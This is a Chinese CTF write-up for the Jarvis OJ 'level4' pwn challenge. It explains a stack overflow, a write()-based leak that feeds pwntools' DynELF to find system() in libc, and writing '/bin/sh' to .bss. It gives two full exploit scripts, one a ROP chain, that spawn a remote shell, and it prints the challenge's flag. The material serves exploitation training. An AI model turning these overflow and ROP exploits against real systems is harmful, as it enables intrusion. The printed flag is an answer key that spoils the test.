DROPS第二周周五

OJ level4(DynELF泄露system地址)

nc pwn2.jarvisoj.com 9880

链接:https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0

下载后,只有一个程序,ida查看没有sys ,没有/bin/sh,而且没有给libc库:这可怎么办?
上网查了说要用DynELF泄露system地址,下面了解一下DynELF:

很好的一个例子:https://blog.youkuaiyun.com/smalosnail/article/details/53386353

开了NX保护

溢出点在read函数:

当然leak啦(其实就是换一种方法获取system的真实地址)然后再想着法子把/bin/sh给写到bss或者data里

构造leak函数:
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

这段函数能从内存中address处dump出4字节数据,函数执行结束后会返回main函数重新执行,也就是说利用这个函数,我们可以dump出整个libc

使用DynELF模块查找system函数地址:
d = DynELF(leak, elf=ELF('./001'))
system_addr= d.lookup('system', 'libc')

获取到system地址后便可以构造system(“/bin/sh”);攻击程序。由于程序中没有/bin/sh这个字符串,我们可以用read函数先它写入内存中一个固定的位置,然后再执行system函数

bss段在内存中的位置是固定的,所以可以将/bin/sh写到bss段中,payload如下:

'B' * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)

现在栈中的情况如图:

EXP:

from pwn import *
io=remote("pwn2.jarvisoj.com",9880)
elf=ELF("./level4")
vuln=0x804844B
writeplt=elf.plt["write"]
readplt=elf.plt["read"]
bss_addr=elf.bss()#获取bss地址,将参数/bin/sh写入bss段上去
def leak(address):
payload="a"*0x88+"aaaa"+p32(writeplt)+p32(vuln)+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
return leak_sysaddr
d = DynELF(leak, elf=ELF("./level4"))#DynELF泄露system地址
sysaddr=d.lookup("system","libc")
payload1="a"*0x88+"aaaa"+p32(readplt)+p32(vuln)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")#将参数/bin/sh写入bss段上去
payload2="a"*0x88+"aaaa"+p32(sysaddr)+p32(vuln)+p32(bss_addr)
io.sendline(payload2)
io.interactive()
#CTF{882130cf51d65fb705440b218e94e98e}

EXP2:(ROP链)

from pwn import *
# sh = process("./level4")
sh = remote("pwn2.jarvisoj.com",9880)
elf = ELF("./level4")
# plt
read_plt = elf.plt["read"]
write_plt = elf.plt["write"]
# got
read_got = elf.got["read"]
write_got = elf.got["write"]
# some addrss
vulfun_addr = elf.symbols["main"]
pop3ret = 0x08048509
# leak the address of system
junk = "a"*0x88
fakebp = "a"*4
def leak(address):  
payload = junk + fakebp
payload += p32(write_plt) + p32(pop3ret)
payload += p32(1) + p32(address) + p32(4) + p32(vulfun_addr)
sh.send(payload)
data = sh.recv(4)
#print "%#x %s" % (address, data)
return data
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup("system","libc")
print "system address: " + hex(system_addr)
# read bss
bss_addr = elf.bss()
payload1 = junk + fakebp
payload1 += p32(read_plt) + p32(pop3ret)
payload1 += p32(0) + p32(bss_addr) + p32(8)
payload1 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
# send paylaod and /bin/sh
sh.send(payload1)
sh.send("/bin/sh\0")
sh.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值